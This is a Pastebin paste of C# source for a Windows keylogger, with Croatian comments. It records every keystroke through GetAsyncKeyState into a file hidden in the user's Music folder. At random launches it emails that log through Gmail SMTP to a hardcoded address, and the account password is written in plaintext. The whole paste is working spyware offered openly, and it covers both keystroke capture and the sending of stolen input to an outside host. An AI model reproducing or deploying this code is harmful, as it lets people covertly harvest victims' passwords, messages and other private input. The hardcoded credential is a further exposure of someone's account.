Guest User

Untitled

a guest
Jan 9th, 2019
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.Runtime.InteropServices;
  10. using System.Net.Mail;
  11.  
  12.  
  13. namespace newapplicationKeylogger
  14. {
  15.     class Program
  16.     {
  17.         private static int i;
  18.  
  19.         [DllImport("User32.dll")]
  20.  
  21.         public static extern int GetAsyncKeyState(Int32 i);
  22.        
  23.         static void Main(string[] args)
  24.         {
  25.             Random rand = new Random();
  26.             int randomnumber = rand.Next(1, 3);
  27.          
  28.             if (randomnumber == 2)            
  29.             {
  30.                 SendMail();
  31.             }
  32.             LogKeys();
  33.            
  34.          
  35.         }
  36.         static void SendMail()
  37.         {
  38.             String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  39.             string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.text"; // lokacija foldera sa zapisanim logovim
  40.  
  41.             DateTime dateTime = DateTime.Now; // Datum poziva funkcije
  42.             string subtext = "Loggedfiles"; // Dodavanje predmeta poruke
  43.             subtext += dateTime; //dodavanje datuma u predmet poruke
  44.            
  45.             SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // 587 je port od Gmail-a
  46.             MailMessage LOGMESSAGE = new MailMessage();
  47.             LOGMESSAGE.From = new MailAddress("ivan.milas3@gmail.com"); // Adresa sa koje šaljemo logove
  48.             LOGMESSAGE.To.Add("ivan.milas3@gmail.com"); // adresa na koju šaljemo logove
  49.             LOGMESSAGE.Subject = subtext; // predmet poruke
  50.  
  51.             client.UseDefaultCredentials = false;      
  52.             client.EnableSsl = true;
  53.             client.Credentials = new System.Net.NetworkCredential("ivan.milas3@gmail.com", "TZE2fC6s");//Ovdje unosimo vlastitu e-mail adresu i lozinku
  54.                                                                      
  55.  
  56.             string newfile = File.ReadAllText(Newfilepath2); // citamo tekst koji se nalazi na danoj lokaciji
  57.             System.Threading.Thread.Sleep(2);
  58.             string attachmenttextfile = Newfilepath + @"\LogsFolder\attachmenttextfile.text"; // dodavanje novog fajla nakon slanja
  59.             File.WriteAllText(attachmenttextfile, newfile); // zapisujemo tekst u novu datoteku
  60.             System.Threading.Thread.Sleep(2);
  61.             LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); // dodajemo privitak u email koji saljemo
  62.             LOGMESSAGE.Body = subtext; //tijelo poruke ostavljamo prazno
  63.             client.Send(LOGMESSAGE); // slanje poruke          
  64.             LOGMESSAGE = null; // brišemo prethodne vrijednosti
  65.            
  66.  
  67.            
  68.            
  69.         }
  70.         static void LogKeys()
  71.         {
  72.             String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  73.             filepath = filepath + @"\LogsFolder\";
  74.  
  75.            if (!Directory.Exists(filepath))
  76.            {
  77.                Directory.CreateDirectory(filepath);
  78.            }
  79.  
  80.            string path = (@filepath + "LoggedKeys.text");
  81.  
  82.            if (!File.Exists(path))
  83.            {
  84.                using (StreamWriter sw = File.CreateText(path))
  85.                {
  86.  
  87.                }
  88.                //kraj trazenja datoteke
  89.            }
  90.  
  91.            KeysConverter converter = new KeysConverter();
  92.            string text = "";
  93.  
  94.            while (5 > 1)
  95.            {
  96.  
  97.                Thread.Sleep(5);
  98.                for (Int32 i = 0; i < 2000; i++)
  99.                {
  100.                    int key = GetAsyncKeyState(i);
  101.                    
  102.                    if (key == 1 || key == -32767)
  103.                    {
  104.                        text = converter.ConvertToString(i);//pretvaranje znaka
  105.                        using (StreamWriter sw = File.AppendText(path))
  106.                        {
  107.                            sw.WriteLine(text);
  108.                        }
  109.                        break;
  110.  
  111.                    }
  112.                  
  113.              
  114.  
  115.                }
  116.  
  117.            }
  118.  
  119.        }
  120.  
  121.    }
  122.        }
Add Comment
Please, Sign In to add comment